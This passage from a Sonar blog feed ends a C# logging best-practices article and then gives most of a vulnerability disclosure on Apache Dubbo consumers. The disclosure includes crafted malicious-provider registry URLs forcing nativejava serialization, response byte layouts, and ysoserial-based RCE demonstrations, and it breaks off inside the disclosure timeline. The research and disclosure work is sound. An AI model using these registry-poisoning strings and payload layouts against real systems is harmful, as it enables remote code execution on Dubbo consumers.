    }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Rule &lt;a href=&quot;https://rules.sonarsource.com/csharp/tag/logging/RSPEC-6667/&quot;&gt;S6667&lt;/a&gt; detects the missing exception details so that your log can help you find your problem when the time comes.&lt;/p&gt;&lt;h2&gt;Conventions and Consistency&lt;/h2&gt;&lt;p&gt;Since logging is present in your entire codebase, you should set conventions. Setting conventions is vital to help relieve the brain of information overload. Proper conventions make the code base easier to understand because it allows you to “tune out” irrelevant details and concentrate on the core problem. Following conventions helps when modifying your code because your “muscle memory” will kick in. The objects will be where you expect them to be, and you will not have to hunt through the source to figure out where the logger is. This applies to both working alone and when working in a team.&lt;/p&gt;&lt;h3&gt;Consistent placeholder naming&lt;/h3&gt;&lt;p&gt;In a logging message, you should use a consistent naming convention for your placeholders, just as you do for your variables. Placeholders are akin to properties, and structured logging turns them into properties. For example, instead of writing:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;logger.LogError(&quot;Login failed for {userName}”, userName);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;You should use PascalCase and write:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;logger.LogError(&quot;Login failed for {UserName}”, userName);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This little error can easily sneak in when using copy-paste on a variable name to create the placeholder or switching from interpolated string to structured logging. Rule &lt;a href=&quot;https://rules.sonarsource.com/csharp/tag/logging/RSPEC-6678/&quot;&gt;S6678&lt;/a&gt; protects you against that.&lt;/p&gt;&lt;h3&gt;Logger storage fields&lt;/h3&gt;&lt;p&gt;You should have a policy for naming your logger’s storage field. It will be easier to find because it stays the same across the code base. In a web project where each and every controller or service will have an injected logger, it’s best to always use the same field name for it. Visual Studio will even help you do that with its auto-completion helper.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Rule &lt;a href=&quot;https://rules.sonarsource.com/csharp/tag/logging/RSPEC-6669/&quot;&gt;S6669&lt;/a&gt; checks that the fields satisfy a regex. The default regex will allow the typical names (logger, _logger, Logger, _Logger…). I recommend changing that regex to restrict it even more. It should match your team’s conventions and allow only one form.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Another essential convention when using the Service Locator design pattern is that logger fields should be:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;private&lt;/li&gt;&lt;li&gt;static&lt;/li&gt;&lt;li&gt;read-only&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Rule &lt;a href=&quot;https://rules.sonarsource.com/csharp/tag/logging/RSPEC-1312/&quot;&gt;S1312&lt;/a&gt;, if activated, will enforce that policy. If you use dependency injection, this rule does not apply, as the field should not be static. It should still be marked private and read-only, though.&lt;/p&gt;&lt;h2&gt;Performance and log file considerations&lt;/h2&gt;&lt;h3&gt;Trace.Write… methods&lt;/h3&gt;&lt;p&gt;Logging goes back to the beginnings of the .NET Framework. Of course, today, we have ILogger and multiple choices for structured logging, but one should remember that options were more limited once upon a time. Legacy code bases will contain logging using the &lt;a href=&quot;https://learn.microsoft.com/en-us/dotnet/api/system.diagnostics.trace?view=net-8.0&quot;&gt;Trace&lt;/a&gt; and &lt;a href=&quot;https://learn.microsoft.com/en-us/dotnet/api/system.diagnostics.traceswitch?view=net-8.0&quot;&gt;TraceSwitch&lt;/a&gt; class, and there are best practices to follow.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The Trace class offers different ways to write messages:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;TraceInformation, TraceWarning, TraceError&lt;/li&gt;&lt;li&gt;Write, WriteIf, WriteLine, WriteLineIf&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The main difference between these two options comes down to semantics. The first ones will write a trace with a specified level attached to it. The second set will just write a message. At first glance, Trace.WriteError() seems similar to Trace.WriteLineIf(switch.TraceError), but they are not. You should probably not use the Write… family of methods and stick to the first family.&lt;/p&gt;&lt;h3&gt;Overlogging&lt;/h3&gt;&lt;p&gt;There is such a thing as too much logging. Logging too much can lead to:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Performance degradation&lt;/li&gt;&lt;li&gt;Log file overload &lt;/li&gt;&lt;li&gt;Code that is difficult to read&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;If your code contains a lot of logging entries, it will be challenging to read. Similarly, a log file with too many entries is more difficult to understand, especially for multithreaded code.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We provide rule &lt;a href=&quot;https://rules.sonarsource.com/csharp/tag/logging/RSPEC-6664/&quot;&gt;S6664&lt;/a&gt; to guard against this. This configurable rule will allow you to set a threshold for the number of times you can call a logging method in a given block.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;For example, if you set it to two, it will raise an issue on the following code because the second code block has three calls:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;void MyMethod(List&lt;MyObject&gt; items)
{
    logger.Debug(&quot;The operation started&quot;);
    foreach(var item in items)
    {
        logger.Information(&quot;Evaluating {Item}&quot;, item.Name); 
        var result = Evaluate(item);
        logger.Information(&quot;Evaluating resulted in {Result}&quot;, result); 
        if (item.Name is string.Empty)
        {
            logger.Error(&quot;Invalid item name&quot;);
        }
        logger.Information(&quot;End item evaluation&quot;); 
    }
    logger.Debug(&quot;The operation ended&quot;);
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This can easily be refactored as such:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;void MyMethod(List&lt;MyObject&gt; items)
{
    logger.Debug(&quot;The operation started&quot;);
    foreach(var item in items)
    {
        logger.Information(&quot;Evaluating {Item}&quot;, item.Name); 
        var result = Evaluate(item);
        if (item.Name is string.Empty)
        {
            logger.Error(&quot;Invalid item name&quot;);
        }
        logger.Information(&quot;End item evaluation with result {Result}&quot;, result); 
    }
    logger.Debug(&quot;The operation ended&quot;);
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Another take on this problem is logging too many exceptions. We did say earlier that you should log exceptions, but sometimes, too much of a good thing can be harmful. If you log an exception when you catch it and then rethrow the exception, there is a very good chance it will be re-logged up the stack. You should either log the exception or rethrow it, but not both. An exception has a lot of information in it, and repeatedly logging the same exception can lead to a log file that is hard to use. Of course, there is no problem logging in a catch clause and rethrowing the exception if the log does not contain the exception details. Rule &lt;a href=&quot;https://rules.sonarsource.com/csharp/tag/logging/RSPEC-2139/&quot;&gt;S2139&lt;/a&gt; detects such cases.&lt;/p&gt;&lt;h2&gt;What’s next?&lt;/h2&gt;&lt;p&gt;There are many things to keep in mind when writing logging code. Sonar provides 15 rules to help you avoid a range of mistakes you might make, but this is far from the end of the subject.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;If you are investigating how to deal with logging, read up on &lt;a href=&quot;https://opentelemetry.io/&quot;&gt;OpenTelemetry&lt;/a&gt;. This standard has emerged as the leading solution for application observability, especially for Cloud Native applications. All actors are adopting it, and it is infinitely configurable to suit your needs. We recommend evaluating emitting Traces. Distributed tracing is &lt;a href=&quot;https://opentelemetry.io/docs/languages/net/getting-started/&quot;&gt;baked into the .NET runtime&lt;/a&gt; through the Activity class, and adding it to your application is a matter of calling a few methods. Most libraries and frameworks that you use already offer out-of-the-box support for it.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Don’t forget that Sonar helps you maintain Clean Code throughout your .NET codebase, &lt;a href=&quot;https://www.sonarsource.com/knowledge/languages/csharp/&quot;&gt;with over 450 rules for C# and support for over 30 languages&lt;/a&gt;. We detect and help you resolve issues that impact your software&amp;#x27;s maintainability, security, and reliability.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;If you are already a SonarCloud user, you can leverage our new logging rules today. These new C# logging rules will be available in the SonarQube 10.5 release and a future release of SonarLint for your preferred IDE.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;If you have not used our products yet, the easiest way to try them is to install &lt;a href=&quot;https://www.sonarsource.com/products/sonarlint/ide-login/&quot;&gt;SonarLint&lt;/a&gt; for free in your IDE and analyze your code with &lt;a href=&quot;https://www.sonarsource.com/products/sonarcloud/signup/&quot;&gt;SonarCloud&lt;/a&gt;. If your project is open-source, then SonarCloud is free of charge, so please try it out. The rules covered in this article only scratch the surface of what Sonar can do for you. If you prefer a self-managed solution under your control, then &lt;a href=&quot;https://www.sonarsource.com/plans-and-pricing/enterprise/&quot;&gt;SonarQube&lt;/a&gt; is the better choice.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Now go write some Clean Code!&lt;br/&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Apache Dubbo Consumer Risks: The Road Not Taken]]></title><description><![CDATA[Explore the lesser-known Apache Dubbo risks that weren’t well documented until now, and delve into the importance of clean code ensuring clarity, maintainability, and comprehensibility.]]></description><link>https://www.sonarsource.com/blog/apache-dubbo-consumer-risks</link><guid isPermaLink="false">97b8f0a2-5138-56a9-90e0-f0e7508d2426</guid><dc:creator><![CDATA[Yaniv Nizry]]></dc:creator><pubDate>Mon, 01 Apr 2024 22:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Apache Dubbo is a popular Java open-source, high-performance RPC (Remote Procedure Call) framework designed to simplify the development of microservices-based and distributed systems. Originally created by Alibaba, Dubbo has gained widespread popularity and is now maintained as a top-level Apache project with 40K stars on GitHub. At its core, Dubbo provides a robust communication protocol that allows services to seamlessly exchange data and invoke methods across different networked nodes, enabling the creation of scalable, flexible, and reliable applications. With its rich ecosystem and community support, Apache Dubbo has become a go-to choice for organizations seeking to harness the power of distributed computing in their software solutions.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In the past, several publications covered vulnerabilities in the framework, mainly affecting the provider end of the RPC layout, such as &lt;a href=&quot;https://checkmarx.com/blog/the-0xdabb-of-doom-cve-2021-25641/&quot;&gt;The 0xDABB of Doom&lt;/a&gt;. In 2021, &lt;a href=&quot;https://github.com/pwntester&quot;&gt;Alvaro Muñoz&lt;/a&gt; published great research on the framework with an article named “&lt;a href=&quot;https://securitylab.github.com/research/apache-dubbo/&quot;&gt;Apache Dubbo: All roads lead to RCE&lt;/a&gt;”, disclosing more than a dozen RCE vulnerabilities.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Interestingly, Muñoz unveiled and discussed a bit on vulnerabilities affecting the consumer end rather than the provider (we will explain Dubbo’s architecture in the next section). The curiosity about this less researched side of Dubbo led us to unveil two other interesting findings that later were debatably not considered vulnerabilities by Apache. Nevertheless, we publish our research out of technical interest so that the community is aware of the risks. Following our disclosure, Apache &lt;a href=&quot;https://github.com/apache/dubbo-website/commit/cd1be029d5adb3ac398a09ca4e5f3da2a55b7323&quot;&gt;updated&lt;/a&gt; its documentation to provide clearer safety instructions for users.&lt;/p&gt;&lt;h2&gt;Key Information&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;Sonar’s Vulnerability Research Team has discovered two security issues in Apache Dubbo.&lt;/li&gt;&lt;li&gt;After reporting and discussing the findings, the Apache team didn’t classify them as vulnerabilities.&lt;/li&gt;&lt;li&gt;Despite having similar issues being recognized as vulnerabilities in the past, the Apache team claimed that it is the user’s responsibility to make sure that registries are well protected as they should provide a shield against untrusted Providers.&lt;/li&gt;&lt;li&gt;Following our notes on the unclarity of this point of view in their documentation, Apache &lt;a href=&quot;https://github.com/apache/dubbo-website/commit/cd1be029d5adb3ac398a09ca4e5f3da2a55b7323&quot;&gt;updated&lt;/a&gt; its &lt;a href=&quot;https://dubbo.apache.org/en/overview/notices/registry/&quot;&gt;documentation&lt;/a&gt; for users to protect themselves better. &lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;Impact&lt;/h2&gt;&lt;p&gt;Apache Dubbo consumers who invoke RPC functions on untrusted provides or using non-secure registries are susceptible to arbitrary object deserialization, which can eventually result in remote code execution (RCE).&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/embed/skaky-lI8a8&quot;&gt;Watch the video&lt;/a&gt;&lt;/p&gt;&lt;h2&gt;Apache Dubbo Technical Details&lt;/h2&gt;&lt;p&gt;In this section, we will showcase the technical details and explanation of our findings. We will discuss the common Dubbo architecture and how this attack vector works.&lt;/p&gt;&lt;h3&gt;Background&lt;/h3&gt;&lt;p&gt;Apache Dubbo provides an RPC framework based on Java with three main components in the architecture:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Provider - the “server” that exposes functions for execution.&lt;/li&gt;&lt;li&gt;Consumer - the “client” that invokes predefined functions on the provider.&lt;/li&gt;&lt;li&gt;Registry - Holds information for and from both consumers and providers (for example, when a consumer wants to invoke a function, they get the provider metadata, address, and more from the registry).&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/064fd583-9871-41d9-95d9-9d43b696495e/Dubbo%20arch.png&quot; /&gt;&lt;p&gt;The basic code for a consumer is quite straightforward. At first, we set up a Dubbo reference service and name our application:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;ReferenceConfig&lt;GreetingsService&gt; reference = new ReferenceConfig&lt;&gt;();
reference.setApplication(new ApplicationConfig(&quot;first-dubbo-client&quot;));&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;After this, the reference is configured to a specific registry by calling &lt;code&gt;setRegistry&lt;/code&gt;. This is a crucial step, as we will see later:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;reference.setRegistry(new RegistryConfig(&quot;multicast://224.5.6.7:1234&quot;));&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Next, our desired interface will be set, which will result in Dubbo providing the relevant server that implements a corresponding function. At last, we can invoke a function on the provider and access the results:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;reference.setInterface(GreetingsService.class);
GreetingsService greetingsService = reference.get();
String message = greetingsService.sayHi(&quot;dubbo&quot;);
System.out.println(message);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;In the past, there were multiple vulnerabilities, mainly affecting the providers. But as demonstrated &lt;a href=&quot;https://securitylab.github.com/advisories/GHSL-2021-034_043-apache-dubbo/&quot;&gt;before&lt;/a&gt; by &lt;a href=&quot;https://github.com/pwntester&quot;&gt;Alvaro Muñoz&lt;/a&gt; (CVE-2021-30181, CVE-2021-30180, GHSL-2021-040, GHSL-2021-041, and GHSL-2021-042), vulnerabilities in consumers happened by poisoning the registry: “Zookeeper supports authentication but it is disabled by default and in most installations, and other systems such as Nacos do not even support authentication”&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;While previous attacks on consumers were by controlling configurations via the registry, this attack focuses on the &lt;em&gt;response&lt;/em&gt;’s deserialization. A specifically crafted response on an invocation request might execute arbitrary code on the consumer. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;An attacker can manipulate a consumer to invoke a function on a malicious provider in multiple ways such as:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;Creating a new malicious provider in the registry.&lt;/li&gt;&lt;li&gt;Changing an existing provider address in the registry to an attacker-controlled one.&lt;/li&gt;&lt;li&gt;Having previous control over a provider (lateral movement).&lt;/li&gt;&lt;li&gt;Social engineering.&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As discussed before, since registries don’t have authentication by default (some don’t support it at all), it is important to emphasize to users that this attacker scenario is feasible. As a result of our report, Apache clarified in the &lt;a href=&quot;https://dubbo.apache.org/en/overview/notices/registry/&quot;&gt;documentation&lt;/a&gt; its threat model, claiming that everything from the registry is considered trusted, users should enable authentication in their registries, and avoid exposing them to the public.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The code in the consumer that invokes a function on a provider will first check the supported provider’s serialization via the registry. Later, it will send the data (such as function parameters) serialized using the supported methods. Some serialization methods are considered safe (fastjson2, hessian2, …) and others are not (native-java, kyro, …). On the provider’s end, a check is made to see if the request’s data serialization is supported using a flag called &lt;code&gt;SERIALIZATION_SECURITY_CHECK_KEY,&lt;/code&gt; which is &lt;code&gt;true&lt;/code&gt; by &lt;a href=&quot;https://github.com/apache/dubbo/blob/0553d70899253519bd6fab00fb647eababf1c911/dubbo-rpc/dubbo-rpc-dubbo/src/main/java/org/apache/dubbo/rpc/protocol/dubbo/DecodeableRpcInvocation.java#L84&quot;&gt;default&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This prevents an attacker from using arbitrary serialization methods (a vulnerability found previously by &lt;a href=&quot;https://checkmarx.com/blog/the-0xdabb-of-doom-cve-2021-25641/&quot;&gt;Dor Tumarkin&lt;/a&gt; and &lt;a href=&quot;https://securitylab.github.com/research/apache-dubbo/&quot;&gt;Alvaro Munoz&lt;/a&gt; independently tracked as CVE-2021-25641).&lt;/p&gt;&lt;h3&gt;Finding 1 - Arbitrary Object Deserialization via the Dubbo protocol&lt;/h3&gt;&lt;p&gt;Despite having the same &lt;code&gt;SERIALIZATION_SECURITY_CHECK_KEY &lt;/code&gt;flag on the consumer’s end, all it&amp;#x27;s doing is &lt;a href=&quot;https://github.com/apache/dubbo/blob/0553d70899253519bd6fab00fb647eababf1c911/dubbo-rpc/dubbo-rpc-dubbo/src/main/java/org/apache/dubbo/rpc/protocol/dubbo/DecodeableRpcResult.java#L141&quot;&gt;checking&lt;/a&gt; that the response’s serialization type is the same as the one sent. Since this attack vector relies on an attacker-controlled provider, the supported serialization of the provider can also be modified to an unsafe one, causing the response deserialization to be unsafe.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;A malicious provider can be registered with the &lt;code&gt;prefer.serialization=nativejava&lt;/code&gt; parameter in the URL (in addition to &lt;code&gt;decode.in.io.thread=true&lt;/code&gt; and corresponding to the registered consumer’s interface, version, etc. To ensure the desired function registration). This forces the consumer to use &lt;code&gt;nativejava&lt;/code&gt; serialization when sending data to the provider, automatically allowing deserializing the response with the unsafe &lt;code&gt;nativejava&lt;/code&gt; deserialization wrapper.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Let’s assume the following registration example:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&apos;dubbo://192.168.1.20:20881/org.apache.dubbo.samples.api.GreetingsService?prefer.serialization=nativejava,fastjson2,hessian2&amp;decode.in.io.thread=true&amp;application=demo-provider&amp;scopeModel=test&amp;deprecated=false&amp;dubbo=2.0.2&amp;dynamic=true&amp;generic=false&amp;interface=org.apache.dubbo.samples.api.GreetingsService&amp;methods=sayHi,sayHu&amp;release=3.2.4&amp;service-name-mapping=true&amp;side=provider&amp;timestamp=&apos; + str(int(time.time()*1000)).encode(&quot;utf-8&quot;)&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;According to the Dubbo protocol, the malicious provider response header should look like this:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/61b4b164-8bd1-46bc-babf-d1d78f376230/dubbo%20protocol%20clac.png&quot; /&gt;&lt;ul&gt;&lt;li&gt;Dubbo protocol header &lt;code&gt;\xda\xbb&lt;/code&gt;&lt;/li&gt;&lt;li&gt;Deserialization id &lt;code&gt;\x07&lt;/code&gt; (7 - for nativejava), &lt;/li&gt;&lt;li&gt;Response code &lt;code&gt;\x14&lt;/code&gt; (20 for successful invocation) &lt;/li&gt;&lt;li&gt;The following 8 bytes are the “future id” which are taken from the request. &lt;/li&gt;&lt;li&gt;Serialized object length&lt;/li&gt;&lt;li&gt;Serialized object&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This header will result in the payload ending up in the vulnerable &lt;code&gt;decode&lt;/code&gt; &lt;a href=&quot;https://github.com/apache/dubbo/blob/0553d70899253519bd6fab00fb647eababf1c911/dubbo-rpc/dubbo-rpc-dubbo/src/main/java/org/apache/dubbo/rpc/protocol/dubbo/DubboCodec.java#L128&quot;&gt;function call&lt;/a&gt;. Since Dubbo first &lt;a href=&quot;https://github.com/apache/dubbo/blob/0553d70899253519bd6fab00fb647eababf1c911/dubbo-rpc/dubbo-rpc-dubbo/src/main/java/org/apache/dubbo/rpc/protocol/dubbo/DecodeableRpcResult.java#L96&quot;&gt;reads&lt;/a&gt; a byte flag from the object and then deserializes accordingly, an attacker would need to start the object with a serialized byte (adding &lt;code&gt;\x77\x01\x01&lt;/code&gt; for flag 1, meaning no exception and an object without attachments).&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Using a deserialization gadget payload (for demonstration purposes, generated via &lt;a href=&quot;https://github.com/frohoff/ysoserial&quot;&gt;ysoserial&lt;/a&gt;), a consumer that invokes a function on a malicious provider is susceptible to arbitrary code execution:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/4df7d865-dfb1-465f-8000-66d4ad2c89b1/tri%20protocol%20clac.png&quot; /&gt;&lt;h3&gt;Finding 2 - Arbitrary Object Deserialization via Triple/gRPC protocol&lt;/h3&gt;&lt;p&gt;Following the same attack surface as before, an attacker can register a provider using a different protocol than &lt;code&gt;dubbo://&lt;/code&gt;. Consumers support the following protocols out of the box and don’t require any special changes to the code.&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;em&gt;registry&lt;/em&gt;: &lt;code&gt;org.apache.dubbo.registry.integration.InterfaceCompatibleRegistryProtocol&lt;/code&gt;&lt;/li&gt;&lt;li&gt;&lt;em&gt;rest&lt;/em&gt;: &lt;code&gt;org.apache.dubbo.rpc.protocol.rest.RestProtocol&lt;/code&gt;&lt;/li&gt;&lt;li&gt;&lt;em&gt;injvm&lt;/em&gt;: &lt;code&gt;org.apache.dubbo.rpc.protocol.injvm.InjvmProtocol&lt;/code&gt;&lt;/li&gt;&lt;li&gt;&lt;em&gt;service-discovery-registry&lt;/em&gt;: &lt;code&gt;org.apache.dubbo.registry.integration.RegistryProtocol&lt;/code&gt;&lt;/li&gt;&lt;li&gt;&lt;em&gt;mock&lt;/em&gt;:&lt;code&gt; org.apache.dubbo.rpc.support.MockProtocol&lt;/code&gt;&lt;/li&gt;&lt;li&gt;&lt;em&gt;dubbo&lt;/em&gt;: &lt;code&gt;org.apache.dubbo.rpc.protocol.dubbo.DubboProtocol&lt;/code&gt;&lt;/li&gt;&lt;li&gt;&lt;em&gt;tri&lt;/em&gt;: &lt;code&gt;org.apache.dubbo.rpc.protocol.tri.TripleProtocol&lt;/code&gt;&lt;/li&gt;&lt;li&gt;&lt;em&gt;grpc&lt;/em&gt;: &lt;code&gt;org.apache.dubbo.rpc.protocol.tri.GrpcProtocol&lt;/code&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;According to the provider’s protocol registered in the registry, the consumer will use different data decoders/encoders. The &lt;code&gt;tri&lt;/code&gt;&lt;em&gt; &lt;/em&gt;and &lt;code&gt;grpc&lt;/code&gt; protocols are susceptible to Arbitrary Object Deserialization when receiving a response, in a similar fashion to the first finding. Both protocols underline using HTTP2 and gRPC.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In the following example, a malicious provider is registered with the &lt;code&gt;prefer.serialization=nativejava&lt;/code&gt; parameter in the URL but with the &lt;code&gt;tri://&lt;/code&gt; or &lt;code&gt;grpc://&lt;/code&gt; protocol (unlike &lt;code&gt;dubbo://&lt;/code&gt; scheme used by default in the first finding):&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&apos;tri://192.168.1.20:20881/org.apache.dubbo.samples.api.GreetingsService?prefer.serialization=nativejava,fastjson2,hessian2&amp;release=3.2.4&amp;application=demo-provider&amp;scopeModel=test&amp;deprecated=false&amp;dubbo=2.0.2&amp;dynamic=true&amp;generic=false&amp;interface=org.apache.dubbo.samples.api.GreetingsService&amp;methods=sayHi,sayHu&amp;service-name-mapping=true&amp;side=provider&amp;decode.in.io.thread=true&amp;timestamp=&apos; + str(int(time.time()*1000)).encode(&quot;utf-8&quot;)&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The data received from the provider is decoded &lt;a href=&quot;https://github.com/apache/dubbo/blob/0553d70899253519bd6fab00fb647eababf1c911/dubbo-rpc/dubbo-rpc-triple/src/main/java/org/apache/dubbo/rpc/protocol/tri/stream/TripleClientStream.java#L464&quot;&gt;here&lt;/a&gt; (more specifically, the data frame). According to the &lt;a href=&quot;https://github.com/apache/dubbo/blob/0553d70899253519bd6fab00fb647eababf1c911/dubbo-rpc/dubbo-rpc-triple/src/main/java/org/apache/dubbo/rpc/protocol/tri/frame/TriDecoder.java#L70&quot;&gt;deliver&lt;/a&gt; function and the &lt;a href=&quot;https://github.com/apache/dubbo/blob/0553d70899253519bd6fab00fb647eababf1c911/dubbo-rpc/dubbo-rpc-triple/src/main/java/org/apache/dubbo/rpc/protocol/tri/TripleCustomerProtocolWapper.java#L101&quot;&gt;parseFrom&lt;/a&gt; this is the data structure:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/55ac5f6c-b8b8-4a18-9511-afeb3f5500ac/tri%20protocol%20struct.png&quot; /&gt;&lt;ul&gt;&lt;li&gt;Header byte &lt;code&gt;(\x00)&lt;/code&gt;&lt;/li&gt;&lt;li&gt;Length of following data, &lt;/li&gt;&lt;li&gt;Serialization type byte (&lt;code&gt;\x0a&lt;/code&gt;)&lt;/li&gt;&lt;li&gt;Serialization type text length byte&lt;/li&gt;&lt;li&gt;Serialization type text (&lt;code&gt;nativejava&lt;/code&gt;)&lt;/li&gt;&lt;li&gt;Object byte (&lt;code&gt;\x12&lt;/code&gt;)&lt;/li&gt;&lt;li&gt;Object length, calculated via protobuf’s &lt;a href=&quot;https://github.com/protocolbuffers/protobuf/blob/5c8cbdfefdb482c4be16c9b9f014943db72e0ce1/java/core/src/main/java/com/google/protobuf/CodedInputStream.java#L530&quot;&gt;RawVarint32&lt;/a&gt;&lt;/li&gt;&lt;li&gt;Object payload&lt;br/&gt;&lt;br/&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;The vulnerable function &lt;a href=&quot;https://github.com/apache/dubbo/blob/0553d70899253519bd6fab00fb647eababf1c911/dubbo-rpc/dubbo-rpc-triple/src/main/java/org/apache/dubbo/rpc/protocol/tri/ReflectionPackableMethod.java#L360&quot;&gt;unpack&lt;/a&gt;s and deserializes any data received from the provider if the deserialization type is included in the &lt;code&gt;prefer.serialization&lt;/code&gt; parameter, which is controlled by the attacker&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Similarly to the first demonstration, a gadget payload generated via &lt;a href=&quot;https://github.com/frohoff/ysoserial&quot;&gt;ysoserial&lt;/a&gt; would leverage the arbitrary object deserialization to execute arbitrary code on the consumer when invoking a function on a malicious provider.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/a109c857-1028-46ab-9d56-d26bd719a3c7/dubbo%20protocol%20struct.png&quot; /&gt;&lt;h3&gt;Apache Response&lt;/h3&gt;&lt;p&gt;After reporting our findings to Apache, they claimed that the risk of malicious providers or infiltration using an unprotected registry is introduced by the user. Following our communication explaining that this threat model was unclear to us and likely to users of the framework, Apache &lt;a href=&quot;https://github.com/apache/dubbo-website/commit/cd1be029d5adb3ac398a09ca4e5f3da2a55b7323&quot;&gt;updated&lt;/a&gt; its documentation accordingly.&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Date&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Action&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-08-28&lt;/td&gt;&lt;td&gt;We report all issues to the vendor.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-09-29&lt;/td&gt;&lt;td&gt;Vendor disputed the report claiming this attack is not considered in their threat model.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-12-15&lt;/td&gt;&lt;td&gt;After back-and-forth communication, the vendor agreed that their point of view was not conveyed through the documentation and &lt;a href=&quot;https://github.com/apache/dubbo-website/commit/cd1be029d5adb3ac398a09ca4e5f3da2a55b7323&quot;&gt;updated&lt;/a&gt; it accordingly.&lt;/td&gt;&lt;/tr&gt;
